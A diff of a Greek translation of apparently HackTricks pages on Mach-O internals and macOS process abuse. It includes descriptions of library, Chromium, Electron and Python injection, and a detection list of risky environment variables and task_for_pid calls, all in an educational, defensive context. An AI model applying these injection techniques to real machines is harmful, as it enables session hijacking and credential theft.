@ -154,7 +82,7 @@ uint32_t cmd; /* type of load command */
|
||||
uint32_t cmdsize; /* total size of command in bytes */
|
||||
};
|
||||
```
|
||||
Υπάρχουν περίπου **50 διαφορετικοί τύποι εντολών φόρτωσης** που το σύστημα χειρίζεται διαφορετικά. Οι πιο κοινοί είναι: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB`, και `LC_CODE_SIGNATURE`.
|
||||
Υπάρχουν περίπου **50 διαφορετικοί τύποι εντολών φόρτωσης** που το σύστημα χειρίζεται διαφορετικά. Οι πιο κοινοί είναι: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` και `LC_CODE_SIGNATURE`.
|
||||
|
||||
### **LC_SEGMENT/LC_SEGMENT_64**
|
||||
|
||||
@ -213,15 +141,15 @@ uint32_t reserved3; /* reserved */
|
||||
|
||||
<figure><img src="../../../images/image (701).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Είναι επίσης δυνατό να αποκτήσετε **πληροφορίες επικεφαλίδας** από τη **γραμμή εντολών** με:
|
||||
Είναι επίσης δυνατό να αποκτήσετε **πληροφορίες επικεφαλίδων** από τη **γραμμή εντολών** με:
|
||||
```bash
|
||||
otool -lv /bin/ls
|
||||
```
|
||||
Κοινά τμήματα που φορτώνονται από αυτήν την εντολή:
|
||||
Κοινά τμήματα που φορτώνονται από αυτή την εντολή:
|
||||
|
||||
- **`__PAGEZERO`:** Δίνει εντολή στον πυρήνα να **χαρτογραφήσει** τη **διεύθυνση μηδέν** έτσι ώστε να **μην μπορεί να διαβαστεί, να γραφτεί ή να εκτελεστεί**. Οι μεταβλητές maxprot και minprot στη δομή είναι ρυθμισμένες σε μηδέν για να υποδείξουν ότι δεν υπάρχουν **δικαιώματα ανάγνωσης-γραφής-εκτέλεσης σε αυτή τη σελίδα**.
|
||||
- Αυτή η κατανομή είναι σημαντική για να **μειώσει τις ευπάθειες αποδόμησης δείκτη NULL**. Αυτό συμβαίνει επειδή το XNU επιβάλλει μια σκληρή σελίδα μηδέν που διασφαλίζει ότι η πρώτη σελίδα (μόνο η πρώτη) της μνήμης είναι μη προσβάσιμη (εκτός από το i386). Ένα δυαδικό αρχείο θα μπορούσε να πληροί αυτές τις απαιτήσεις δημιουργώντας μια μικρή \_\_PAGEZERO (χρησιμοποιώντας το `-pagezero_size`) για να καλύψει τα πρώτα 4k και να έχει την υπόλοιπη μνήμη 32bit προσβάσιμη τόσο σε λειτουργία χρήστη όσο και σε λειτουργία πυρήνα.
|
||||
- **`__TEXT`**: Περιέχει **εκτελέσιμο** **κώδικα** με **δικαιώματα ανάγνωσης** και **εκτέλεσης** (όχι εγγράψιμο)**.** Κοινές ενότητες αυτού του τμήματος:
|
||||
- **`__TEXT`**: Περιέχει **εκτελέσιμο** **κώδικα** με **δικαιώματα ανάγνωσης** και **εκτέλεσης** (όχι εγγράψιμα)**.** Κοινές ενότητες αυτού του τμήματος:
|
||||
- `__text`: Συμπιεσμένος δυαδικός κώδικας
|
||||
- `__const`: Σταθερά δεδομένα (μόνο ανάγνωση)
|
||||
- `__[c/u/os_log]string`: Σταθερές συμβολοσειρές C, Unicode ή os logs
|
||||
@ -242,12 +170,12 @@ otool -lv /bin/ls
|
||||
- πληροφορίες dyld: Επαναφορά, Μη τεμπέλης/τεμπέλης/ασθενής κωδικοί δέσμευσης και πληροφορίες εξαγωγής
|
||||
- Λειτουργίες εκκίνησης: Πίνακας διευθύνσεων εκκίνησης λειτουργιών
|
||||
- Δεδομένα στον Κώδικα: Νησίδες δεδομένων στο \_\_text
|
||||
- Πίνακας Συμβόλων: Συμβολισμοί στο δυαδικό
|
||||
- Πίνακας Έμμεσων Συμβόλων: Δείκτες/συμβολισμοί stub
|
||||
- Πίνακας Συμβόλων: Συμβολα σε δυαδικό
|
||||
- Πίνακας Έμμεσων Συμβόλων: Δείκτες/συμβολα στήριξης
|
||||
- Πίνακας Συμβολοσειρών
|
||||
- Υπογραφή Κώδικα
|
||||
- **`__OBJC`**: Περιέχει πληροφορίες που χρησιμοποιούνται από το Objective-C runtime. Αν και αυτές οι πληροφορίες μπορεί επίσης να βρεθούν στο τμήμα \_\_DATA, εντός διαφόρων τμημάτων \_\_objc\_\*.
|
||||
- **`__RESTRICT`**: Ένα τμήμα χωρίς περιεχόμενο με μια μόνο ενότητα που ονομάζεται **`__restrict`** (επίσης κενή) που διασφαλίζει ότι κατά την εκτέλεση του δυαδικού, θα αγνοήσει τις μεταβλητές περιβάλλοντος DYLD.
|
||||
- **`__OBJC`**: Περιέχει πληροφορίες που χρησιμοποιούνται από το Objective-C runtime. Αν και αυτές οι πληροφορίες μπορεί επίσης να βρεθούν στο τμήμα \_\_DATA, μέσα σε διάφορες ενότητες \_\_objc\_\*.
|
||||
- **`__RESTRICT`**: Ένα τμήμα χωρίς περιεχόμενο με μια μόνο ενότητα που ονομάζεται **`__restrict`** (επίσης κενή) που διασφαλίζει ότι κατά την εκτέλεση του δυαδικού αρχείου, θα αγνοήσει τις μεταβλητές περιβάλλοντος DYLD.
|
||||
|
||||
Όπως ήταν δυνατόν να δούμε στον κώδικα, **τα τμήματα υποστηρίζουν επίσης σημαίες** (αν και δεν χρησιμοποιούνται πολύ):
|
||||
|
||||
@ -258,7 +186,7 @@ otool -lv /bin/ls
|
||||
|
||||
### **`LC_UNIXTHREAD/LC_MAIN`**
|
||||
|
||||
**`LC_MAIN`** περιέχει το σημείο εισόδου στην **ιδιότητα entryoff.** Κατά τη διάρκεια της φόρτωσης, το **dyld** απλά **προσθέτει** αυτή την τιμή στη (στη μνήμη) **βάση του δυαδικού**, στη συνέχεια **πηδά** σε αυτή την εντολή για να ξεκινήσει την εκτέλεση του κώδικα του δυαδικού.
|
||||
**`LC_MAIN`** περιέχει το σημείο εισόδου στην **ιδιότητα entryoff.** Κατά τη διάρκεια της φόρτωσης, το **dyld** απλά **προσθέτει** αυτή την τιμή στη (στη μνήμη) **βάση του δυαδικού αρχείου**, στη συνέχεια **πηδά** σε αυτή την εντολή για να ξεκινήσει την εκτέλεση του κώδικα του δυαδικού αρχείου.
|
||||
|
||||
**`LC_UNIXTHREAD`** περιέχει τις τιμές που πρέπει να έχει ο καταχωρητής κατά την εκκίνηση του κύριου νήματος. Αυτό έχει ήδη αποσυρθεί αλλά το **`dyld`** εξακολουθεί να το χρησιμοποιεί. Είναι δυνατόν να δει κανείς τις τιμές των καταχωρητών που ορίζονται από αυτό με:
|
||||
```bash
|
||||
@ -291,7 +219,7 @@ cpsr 0x00000000
|
||||
|
||||
### **`LC_ENCRYPTION_INFO[_64]`**
|
||||
|
||||
Υποστήριξη για κρυπτογράφηση δυαδικών αρχείων. Ωστόσο, φυσικά, αν ένας επιτιθέμενος καταφέρει να παραβιάσει τη διαδικασία, θα είναι σε θέση να εκφορτώσει τη μνήμη χωρίς κρυπτογράφηση.
|
||||
Υποστήριξη για κρυπτογράφηση δυαδικών αρχείων. Ωστόσο, φυσικά, αν ένας επιτιθέμενος καταφέρει να παραβιάσει τη διαδικασία, θα μπορεί να εκφορτώσει τη μνήμη χωρίς κρυπτογράφηση.
|
||||
|
||||
### **`LC_LOAD_DYLINKER`**
|
||||
|
||||
@ -346,7 +274,7 @@ otool -L /bin/ls
|
||||
|
||||
> [!NOTE]
|
||||
> Ένα Mach-O δυαδικό μπορεί να περιέχει έναν ή **περισσότερους** **κατασκευαστές**, που θα **εκτελούνται** **πριν** από τη διεύθυνση που καθορίζεται στο **LC_MAIN**.\
|
||||
> Οι μετατοπίσεις οποιωνδήποτε κατασκευαστών διατηρούνται στην ενότητα **\_\_mod_init_func** του τμήματος **\_\_DATA_CONST**.
|
||||
> Οι μετατοπίσεις οποιωνδήποτε κατασκευαστών κρατούνται στην ενότητα **\_\_mod_init_func** του τμήματος **\_\_DATA_CONST**.
|
||||
|
||||
## **Δεδομένα Mach-O**
|
||||
|
||||
@ -363,23 +291,23 @@ otool -L /bin/ls
|
||||
- **Πίνακας συμβόλων**: Ο οποίος περιέχει πληροφορίες σχετικά με τη εξωτερική συνάρτηση που χρησιμοποιείται από το δυαδικό
|
||||
- Μπορεί επίσης να περιέχει εσωτερικές συναρτήσεις, ονόματα μεταβλητών καθώς και περισσότερα.
|
||||
|
||||
Για να το ελέγξετε, μπορείτε να χρησιμοποιήσετε το [**Mach-O View**](https://sourceforge.net/projects/machoview/) εργαλείο:
|
||||
Για να το ελέγξετε μπορείτε να χρησιμοποιήσετε το [**Mach-O View**](https://sourceforge.net/projects/machoview/) εργαλείο:
|
||||
|
||||
<figure><img src="../../../images/image (1120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ή από τη γραμμή εντολών:
|
||||
Ή από το cli:
|
||||
```bash
|
||||
size -m /bin/ls
|
||||
```
|
||||
## Objetive-C Κοινές Ενότητες
|
||||
|
||||
In `__TEXT` segment (r-x):
|
||||
Στο `__TEXT` τμήμα (r-x):
|
||||
|
||||
- `__objc_classname`: Ονόματα κλάσεων (strings)
|
||||
- `__objc_methname`: Ονόματα μεθόδων (strings)
|
||||
- `__objc_methtype`: Τύποι μεθόδων (strings)
|
||||
- `__objc_classname`: Ονόματα κλάσεων (αλφαριθμητικά)
|
||||
- `__objc_methname`: Ονόματα μεθόδων (αλφαριθμητικά)
|
||||
- `__objc_methtype`: Τύποι μεθόδων (αλφαριθμητικά)
|
||||
|
||||
In `__DATA` segment (rw-):
|
||||
Στο `__DATA` τμήμα (rw-):
|
||||
|
||||
- `__objc_classlist`: Δείκτες σε όλες τις κλάσεις Objetive-C
|
||||
- `__objc_nlclslist`: Δείκτες σε μη-τεμπέλικες κλάσεις Objective-C
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
Μια διαδικασία είναι μια περίπτωση ενός εκτελέσιμου που τρέχει, ωστόσο οι διαδικασίες δεν εκτελούν κώδικα, αυτές είναι νήματα. Επομένως, **οι διαδικασίες είναι απλώς δοχεία για τρέχοντα νήματα** παρέχοντας τη μνήμη, τους περιγραφείς, τις θύρες, τις άδειες...
|
||||
|
||||
Παραδοσιακά, οι διαδικασίες ξεκινούσαν μέσα σε άλλες διαδικασίες (εκτός από το PID 1) καλώντας **`fork`** που θα δημιουργούσε μια ακριβή αντιγραφή της τρέχουσας διαδικασίας και στη συνέχεια η **παιδική διαδικασία** θα καλούσε γενικά **`execve`** για να φορτώσει το νέο εκτελέσιμο και να το εκτελέσει. Στη συνέχεια, εισήχθη το **`vfork`** για να επιταχύνει αυτή τη διαδικασία χωρίς καμία αντιγραφή μνήμης.\
|
||||
Στη συνέχεια, εισήχθη το **`posix_spawn`** συνδυάζοντας **`vfork`** και **`execve`** σε μία κλήση και αποδεχόμενο σημαίες:
|
||||
Στη συνέχεια εισήχθη το **`posix_spawn`** συνδυάζοντας **`vfork`** και **`execve`** σε μία κλήση και αποδεχόμενο σημαίες:
|
||||
|
||||
- `POSIX_SPAWN_RESETIDS`: Επαναφορά των αποτελεσματικών ταυτοτήτων στις πραγματικές ταυτότητες
|
||||
- `POSIX_SPAWN_SETPGROUP`: Ορισμός συσχέτισης ομάδας διαδικασιών
|
||||
@ -31,18 +31,18 @@
|
||||
|
||||
### Process Groups, Sessions & Coalations
|
||||
|
||||
**Διαδικασίες** μπορούν να εισαχθούν σε **ομάδες** για να διευκολυνθεί η διαχείρισή τους. Για παράδειγμα, οι εντολές σε ένα script shell θα είναι στην ίδια ομάδα διαδικασιών, έτσι είναι δυνατή η **σήμανση τους μαζί** χρησιμοποιώντας kill για παράδειγμα.\
|
||||
Είναι επίσης δυνατή η **ομαδοποίηση διαδικασιών σε συνεδρίες**. Όταν μια διαδικασία ξεκινά μια συνεδρία (`setsid(2)`), οι παιδικές διαδικασίες τοποθετούνται μέσα στη συνεδρία, εκτός αν ξεκινήσουν τη δική τους συνεδρία.
|
||||
**Διαδικασίες** μπορούν να εισαχθούν σε **ομάδες** για να διευκολυνθεί η διαχείρισή τους. Για παράδειγμα, οι εντολές σε ένα script shell θα είναι στην ίδια ομάδα διαδικασιών, έτσι είναι δυνατό να **σημανθούν μαζί** χρησιμοποιώντας kill για παράδειγμα.\
|
||||
Είναι επίσης δυνατό να **ομαδοποιηθούν οι διαδικασίες σε συνεδρίες**. Όταν μια διαδικασία ξεκινά μια συνεδρία (`setsid(2)`), οι παιδικές διαδικασίες τοποθετούνται μέσα στη συνεδρία, εκτός αν ξεκινήσουν τη δική τους συνεδρία.
|
||||
|
||||
Η συμμαχία είναι ένας άλλος τρόπος ομαδοποίησης διαδικασιών στο Darwin. Μια διαδικασία που συμμετέχει σε μια συμμαχία της επιτρέπει να έχει πρόσβαση σε πόρους πισίνας, μοιράζοντας ένα βιβλίο ή αντιμετωπίζοντας το Jetsam. Οι συμμαχίες έχουν διαφορετικούς ρόλους: Ηγέτης, Υπηρεσία XPC, Επέκταση.
|
||||
Η συμμαχία είναι ένας άλλος τρόπος ομαδοποίησης διαδικασιών στο Darwin. Μια διαδικασία που εντάσσεται σε μια συμμαχία της επιτρέπει να έχει πρόσβαση σε πόρους πισίνας, μοιράζοντας ένα βιβλίο ή αντιμετωπίζοντας το Jetsam. Οι συμμαχίες έχουν διαφορετικούς ρόλους: Ηγέτης, Υπηρεσία XPC, Επέκταση.
|
||||
|
||||
### Credentials & Personae
|
||||
|
||||
Κάθε διαδικασία διατηρεί **διαπιστευτήρια** που **προσδιορίζουν τα προνόμιά** της στο σύστημα. Κάθε διαδικασία θα έχει μία κύρια `uid` και μία κύρια `gid` (αν και μπορεί να ανήκει σε πολλές ομάδες).\
|
||||
Είναι επίσης δυνατή η αλλαγή του αναγνωριστικού χρήστη και ομάδας αν το δυαδικό αρχείο έχει το bit `setuid/setgid`.\
|
||||
Κάθε διαδικασία διατηρεί **διαπιστευτήρια** που **προσδιορίζουν τα προνόμιά της** στο σύστημα. Κάθε διαδικασία θα έχει μία κύρια `uid` και μία κύρια `gid` (αν και μπορεί να ανήκει σε πολλές ομάδες).\
|
||||
Είναι επίσης δυνατό να αλλάξει η ταυτότητα χρήστη και ομάδας αν το δυαδικό αρχείο έχει το bit `setuid/setgid`.\
|
||||
Υπάρχουν πολλές συναρτήσεις για **ορισμό νέων uids/gids**.
|
||||
|
||||
Η syscall **`persona`** παρέχει ένα **εναλλακτικό** σύνολο **διαπιστευτηρίων**. Η υιοθέτηση μιας προσωπικότητας υποθέτει την `uid`, `gid` και τις συμμετοχές ομάδας **ταυτόχρονα**. Στον [**κώδικα πηγής**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) είναι δυνατή η εύρεση της δομής:
|
||||
Η syscall **`persona`** παρέχει ένα **εναλλακτικό** σύνολο **διαπιστευτηρίων**. Η υιοθέτηση μιας persona υποθέτει την uid, gid και τις συμμετοχές ομάδας **ταυτόχρονα**. Στον [**πηγαίο κώδικα**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) είναι δυνατό να βρείτε τη δομή:
|
||||
```c
|
||||
struct kpersona_info { uint32_t persona_info_version;
|
||||
uid_t persona_id; /* overlaps with UID */
|
||||
@ -76,14 +76,14 @@ char persona_name[MAXLOGNAME + 1];
|
||||
- **Κανονικός Mutex (Υπογραφή: 0x4D555458):** Τυπικός mutex με αποτύπωμα μνήμης 60 bytes (56 bytes για τον mutex και 4 bytes για την υπογραφή).
|
||||
- **Γρήγορος Mutex (Υπογραφή: 0x4d55545A):** Παρόμοιος με έναν κανονικό mutex αλλά βελτιστοποιημένος για ταχύτερες λειτουργίες, επίσης 60 bytes σε μέγεθος.
|
||||
2. **Μεταβλητές Συνθηκών:**
|
||||
- Χρησιμοποιούνται για να περιμένουν να συμβούν ορισμένες συνθήκες, με μέγεθος 44 bytes (40 bytes συν 4 bytes υπογραφή).
|
||||
- Χρησιμοποιούνται για να περιμένουν να συμβούν ορισμένες συνθήκες, με μέγεθος 44 bytes (40 bytes συν μια υπογραφή 4 bytes).
|
||||
- **Χαρακτηριστικά Μεταβλητών Συνθηκών (Υπογραφή: 0x434e4441):** Χαρακτηριστικά ρύθμισης για μεταβλητές συνθηκών, μεγέθους 12 bytes.
|
||||
3. **Once Variable (Υπογραφή: 0x4f4e4345):**
|
||||
- Διασφαλίζει ότι ένα κομμάτι κώδικα αρχικοποίησης εκτελείται μόνο μία φορά. Το μέγεθός του είναι 12 bytes.
|
||||
4. **Κλειδώματα Ανάγνωσης-Εγγραφής:**
|
||||
3. **Μεταβλητή Once (Υπογραφή: 0x4f4e4345):**
|
||||
- Διασφαλίζει ότι ένα κομμάτι κώδικα αρχικοποίησης εκτελείται μόνο μία φορά. Το μέγεθός της είναι 12 bytes.
|
||||
4. **Κλειδώματα Ανάγνωσης-Γραφής:**
|
||||
- Επιτρέπει σε πολλούς αναγνώστες ή έναν συγγραφέα ταυτόχρονα, διευκολύνοντας την αποδοτική πρόσβαση σε κοινά δεδομένα.
|
||||
- **Κλείδωμα Ανάγνωσης-Εγγραφής (Υπογραφή: 0x52574c4b):** Μεγέθους 196 bytes.
|
||||
- **Χαρακτηριστικά Κλειδώματος Ανάγνωσης-Εγγραφής (Υπογραφή: 0x52574c41):** Χαρακτηριστικά για κλειδώματα ανάγνωσης-εγγραφής, 20 bytes σε μέγεθος.
|
||||
- **Κλείδωμα Ανάγνωσης-Γραφής (Υπογραφή: 0x52574c4b):** Μεγέθους 196 bytes.
|
||||
- **Χαρακτηριστικά Κλειδώματος Ανάγνωσης-Γραφής (Υπογραφή: 0x52574c41):** Χαρακτηριστικά για κλειδώματα ανάγνωσης-γραφής, 20 bytes σε μέγεθος.
|
||||
|
||||
> [!TIP]
|
||||
> Τα τελευταία 4 bytes αυτών των αντικειμένων χρησιμοποιούνται για την ανίχνευση υπερχειλίσεων.
|
||||
@ -102,7 +102,7 @@ tlv_var = 10;
|
||||
```
|
||||
Αυτό το απόσπασμα ορίζει το `tlv_var` ως μια μεταβλητή τοπική στο νήμα. Κάθε νήμα που εκτελεί αυτόν τον κώδικα θα έχει τη δική του `tlv_var`, και οι αλλαγές που κάνει ένα νήμα στη `tlv_var` δεν θα επηρεάσουν τη `tlv_var` σε άλλο νήμα.
|
||||
|
||||
Στο δυαδικό Mach-O, τα δεδομένα που σχετίζονται με τις τοπικές μεταβλητές νήματος οργανώνονται σε συγκεκριμένες ενότητες:
|
||||
Στο δυαδικό αρχείο Mach-O, τα δεδομένα που σχετίζονται με τις τοπικές μεταβλητές νήματος οργανώνονται σε συγκεκριμένες ενότητες:
|
||||
|
||||
- **`__DATA.__thread_vars`**: Αυτή η ενότητα περιέχει τα μεταδεδομένα σχετικά με τις τοπικές μεταβλητές νήματος, όπως τους τύπους τους και την κατάσταση αρχικοποίησης.
|
||||
- **`__DATA.__thread_bss`**: Αυτή η ενότητα χρησιμοποιείται για τις τοπικές μεταβλητές νήματος που δεν έχουν αρχικοποιηθεί ρητά. Είναι ένα μέρος της μνήμης που έχει διατεθεί για δεδομένα που έχουν αρχικοποιηθεί σε μηδέν.
|
||||
@ -133,19 +133,19 @@ tlv_var = 10;
|
||||
3. **Χρήση:**
|
||||
- Αυτές οι εργασίες είναι μακροχρόνιες και συνήθως εμφανίζουν έναν δείκτη προόδου (π.χ., λήψη αρχείων, εισαγωγή δεδομένων). Είναι χαμηλότερης προτεραιότητας από τις εργασίες που ξεκινούν οι χρήστες και δεν χρειάζεται να ολοκληρωθούν άμεσα.
|
||||
4. **Υπόβαθρο:**
|
||||
- Αυτή η κλάση είναι για εργασίες που λειτουργούν στο παρασκήνιο και δεν είναι ορατές στον χρήστη. Αυτές μπορεί να είναι εργασίες όπως η ευρετηρίαση, η συγχρονισμός ή τα αντίγραφα ασφαλείας. Έχουν την χαμηλότερη προτεραιότητα και ελάχιστη επίδραση στην απόδοση του συστήματος.
|
||||
- Αυτή η κλάση είναι για εργασίες που λειτουργούν στο παρασκήνιο και δεν είναι ορατές στον χρήστη. Αυτές μπορεί να είναι εργασίες όπως η ευρετηρίαση, η συγχρονισμένη ή οι αντίγραφα ασφαλείας. Έχουν την χαμηλότερη προτεραιότητα και ελάχιστη επίδραση στην απόδοση του συστήματος.
|
||||
|
||||
Χρησιμοποιώντας τις κλάσεις QoS, οι προγραμματιστές δεν χρειάζεται να διαχειρίζονται τους ακριβείς αριθμούς προτεραιότητας αλλά να επικεντρώνονται στη φύση της εργασίας, και το σύστημα βελτιστοποιεί τους πόρους CPU αναλόγως.
|
||||
Χρησιμοποιώντας τις κλάσεις QoS, οι προγραμματιστές δεν χρειάζεται να διαχειρίζονται τους ακριβείς αριθμούς προτεραιότητας αλλά να εστιάζουν στη φύση της εργασίας, και το σύστημα βελτιστοποιεί τους πόρους CPU αναλόγως.
|
||||
|
||||
Επιπλέον, υπάρχουν διαφορετικές **πολιτικές προγραμματισμού νημάτων** που ρέουν για να καθορίσουν ένα σύνολο παραμέτρων προγραμματισμού που ο προγραμματιστής θα λάβει υπόψη. Αυτό μπορεί να γίνει χρησιμοποιώντας `thread_policy_[set/get]`. Αυτό μπορεί να είναι χρήσιμο σε επιθέσεις συνθήκης αγώνα.
|
||||
Επιπλέον, υπάρχουν διαφορετικές **πολιτικές προγραμματισμού νημάτων** που ρέουν για να καθορίσουν ένα σύνολο παραμέτρων προγραμματισμού που ο προγραμματιστής θα λάβει υπόψη. Αυτό μπορεί να γίνει χρησιμοποιώντας το `thread_policy_[set/get]`. Αυτό μπορεί να είναι χρήσιμο σε επιθέσεις συνθήκης αγώνα.
|
||||
|
||||
## Κατάχρηση Διαδικασιών MacOS
|
||||
|
||||
Το MacOS, όπως κάθε άλλο λειτουργικό σύστημα, παρέχει μια ποικιλία μεθόδων και μηχανισμών για **τις διαδικασίες να αλληλεπιδρούν, να επικοινωνούν και να μοιράζονται δεδομένα**. Ενώ αυτές οι τεχνικές είναι απαραίτητες για την αποδοτική λειτουργία του συστήματος, μπορούν επίσης να καταχραστούν από απειλητικούς παράγοντες για να **εκτελέσουν κακόβουλες δραστηριότητες**.
|
||||
Το MacOS, όπως κάθε άλλο λειτουργικό σύστημα, παρέχει μια ποικιλία μεθόδων και μηχανισμών για **διαδικασίες να αλληλεπιδρούν, να επικοινωνούν και να μοιράζονται δεδομένα**. Ενώ αυτές οι τεχνικές είναι απαραίτητες για την αποδοτική λειτουργία του συστήματος, μπορούν επίσης να καταχραστούν από απειλητικούς παράγοντες για να **εκτελέσουν κακόβουλες δραστηριότητες**.
|
||||
|
||||
### Εισαγωγή Βιβλιοθηκών
|
||||
### Εισαγωγή Βιβλιοθήκης
|
||||
|
||||
Η Εισαγωγή Βιβλιοθηκών είναι μια τεχνική όπου ένας επιτιθέμενος **αναγκάζει μια διαδικασία να φορτώσει μια κακόβουλη βιβλιοθήκη**. Μόλις εισαχθεί, η βιβλιοθήκη εκτελείται στο πλαίσιο της στοχοθετημένης διαδικασίας, παρέχοντας στον επιτιθέμενο τις ίδιες άδειες και πρόσβαση με τη διαδικασία.
|
||||
Η Εισαγωγή Βιβλιοθήκης είναι μια τεχνική όπου ένας επιτιθέμενος **αναγκάζει μια διαδικασία να φορτώσει μια κακόβουλη βιβλιοθήκη**. Μόλις εισαχθεί, η βιβλιοθήκη εκτελείται στο πλαίσιο της στοχοθετημένης διαδικασίας, παρέχοντας στον επιτιθέμενο τις ίδιες άδειες και πρόσβαση με τη διαδικασία.
|
||||
|
||||
{{#ref}}
|
||||
macos-library-injection/
|
||||
@ -177,7 +177,7 @@ macos-electron-applications-injection.md
|
||||
|
||||
### Εισαγωγή Chromium
|
||||
|
||||
Είναι δυνατόν να χρησιμοποιηθούν οι σημαίες `--load-extension` και `--use-fake-ui-for-media-stream` για να εκτελέσετε μια **επίθεση man in the browser** επιτρέποντας την κλοπή πληκτρολογήσεων, κυκλοφορίας, cookies, την εισαγωγή scripts σε σελίδες...:
|
||||
Είναι δυνατόν να χρησιμοποιηθούν οι σημαίες `--load-extension` και `--use-fake-ui-for-media-stream` για να εκτελέσετε μια **επίθεση man in the browser** επιτρέποντας την κλοπή πλήκτρων, κυκλοφορίας, cookies, την εισαγωγή scripts σε σελίδες...:
|
||||
|
||||
{{#ref}}
|
||||
macos-chromium-injection.md
|
||||
@ -201,7 +201,7 @@ macos-java-apps-injection.md
|
||||
|
||||
### Εισαγωγή Εφαρμογών .Net
|
||||
|
||||
Είναι δυνατόν να εισαχθεί κώδικας σε εφαρμογές .Net καταχρώντας τη **λειτουργικότητα αποσφαλμάτωσης .Net** (όχι προστατευμένη από τις προστασίες macOS όπως η σκληροποίηση χρόνου εκτέλεσης).
|
||||
Είναι δυνατόν να εισαχθεί κώδικας σε εφαρμογές .Net καταχρώντας τη **λειτουργικότητα αποσφαλμάτωσης .Net** (όχι προστατευμένη από τις προστασίες του macOS όπως η σκληροποίηση χρόνου εκτέλεσης).
|
||||
|
||||
{{#ref}}
|
||||
macos-.net-applications-injection.md
|
||||
@ -225,15 +225,15 @@ macos-ruby-applications-injection.md
|
||||
|
||||
### Εισαγωγή Python
|
||||
|
||||
Αν η μεταβλητή περιβάλλοντος **`PYTHONINSPECT`** είναι ρυθμισμένη, η διαδικασία python θα εισέλθει σε μια CLI python μόλις ολοκληρωθεί. Είναι επίσης δυνατόν να χρησιμοποιηθεί το **`PYTHONSTARTUP`** για να υποδείξει ένα σενάριο python που θα εκτελείται στην αρχή μιας διαδραστικής συνεδρίας.\
|
||||
Αν η μεταβλητή περιβάλλοντος **`PYTHONINSPECT`** είναι ρυθμισμένη, η διαδικασία python θα εισέλθει σε μια CLI python μόλις ολοκληρωθεί. Είναι επίσης δυνατόν να χρησιμοποιήσετε το **`PYTHONSTARTUP`** για να υποδείξετε ένα σενάριο python που θα εκτελείται στην αρχή μιας διαδραστικής συνεδρίας.\
|
||||
Ωστόσο, σημειώστε ότι το σενάριο **`PYTHONSTARTUP`** δεν θα εκτελείται όταν το **`PYTHONINSPECT`** δημιουργεί τη διαδραστική συνεδρία.
|
||||
|
||||
Άλλες μεταβλητές περιβάλλοντος όπως **`PYTHONPATH`** και **`PYTHONHOME`** θα μπορούσαν επίσης να είναι χρήσιμες για να κάνουν μια εντολή python να εκτελεί αυθαίρετο κώδικα.
|
||||
Άλλες μεταβλητές περιβάλλοντος όπως **`PYTHONPATH`** και **`PYTHONHOME`** θα μπορούσαν επίσης να είναι χρήσιμες για να κάνετε μια εντολή python να εκτελεί αυθαίρετο κώδικα.
|
||||
|
||||
Σημειώστε ότι τα εκτελέσιμα αρχεία που έχουν μεταγλωττιστεί με **`pyinstaller`** δεν θα χρησιμοποιούν αυτές τις μεταβλητές περιβάλλοντος ακόμη και αν εκτελούνται χρησιμοποιώντας μια ενσωματωμένη python.
|
||||
|
||||
> [!CAUTION]
|
||||
> Γενικά δεν μπόρεσα να βρω έναν τρόπο να κάνω την python να εκτελεί αυθαίρετο κώδικα καταχρώντας τις μεταβλητές περιβάλλοντος.\
|
||||
> Γενικά, δεν μπόρεσα να βρω έναν τρόπο να κάνω την python να εκτελεί αυθαίρετο κώδικα καταχρώντας τις μεταβλητές περιβάλλοντος.\
|
||||
> Ωστόσο, οι περισσότεροι άνθρωποι εγκαθιστούν την python χρησιμοποιώντας **Hombrew**, το οποίο θα εγκαταστήσει την python σε μια **γραφτή τοποθεσία** για τον προεπιλεγμένο διαχειριστή χρήστη. Μπορείτε να την καταλάβετε με κάτι τέτοιο:
|
||||
>
|
||||
> ```bash
|
||||
@ -257,7 +257,7 @@ macos-ruby-applications-injection.md
|
||||
- Χρησιμοποιώντας **Μεταβλητές Περιβάλλοντος**: Θα παρακολουθεί την παρουσία οποιασδήποτε από τις παρακάτω μεταβλητές περιβάλλοντος: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** και **`ELECTRON_RUN_AS_NODE`**
|
||||
- Χρησιμοποιώντας κλήσεις **`task_for_pid`**: Για να βρει πότε μια διαδικασία θέλει να αποκτήσει το **task port μιας άλλης** που επιτρέπει την εισαγωγή κώδικα στη διαδικασία.
|
||||
- **Παράμετροι εφαρμογών Electron**: Κάποιος μπορεί να χρησιμοποιήσει τα **`--inspect`**, **`--inspect-brk`** και **`--remote-debugging-port`** επιχειρήματα γραμμής εντολών για να ξεκινήσει μια εφαρμογή Electron σε λειτουργία αποσφαλμάτωσης, και έτσι να εισάγει κώδικα σε αυτήν.
|
||||
- Χρησιμοποιώντας **συμβολικούς συνδέσμους** ή **σκληρούς συνδέσμους**: Συνήθως η πιο κοινή κατάχρηση είναι να **τοποθετήσετε έναν σύνδεσμο με τα δικαιώματα του χρήστη μας**, και **να τον δείξετε σε μια τοποθεσία υψηλότερης άδειας**. Η ανίχνευση είναι πολύ απλή και για τους σκληρούς και για τους συμβολικούς συνδέσμους. Αν η διαδικασία που δημιουργεί τον σύνδεσμο έχει **διαφορετικό επίπεδο άδειας** από το αρχείο στόχο, δημιουργούμε μια **ειδοποίηση**. Δυστυχώς, στην περίπτωση των συμβολικών συνδέσμων, η απαγόρευση δεν είναι δυνατή, καθώς δεν έχουμε πληροφορίες σχετικά με τον προορισμό του συνδέσμου πριν από τη δημιουργία του. Αυτή είναι μια περιοριστική του πλαισίου EndpointSecuriy της Apple.
|
||||
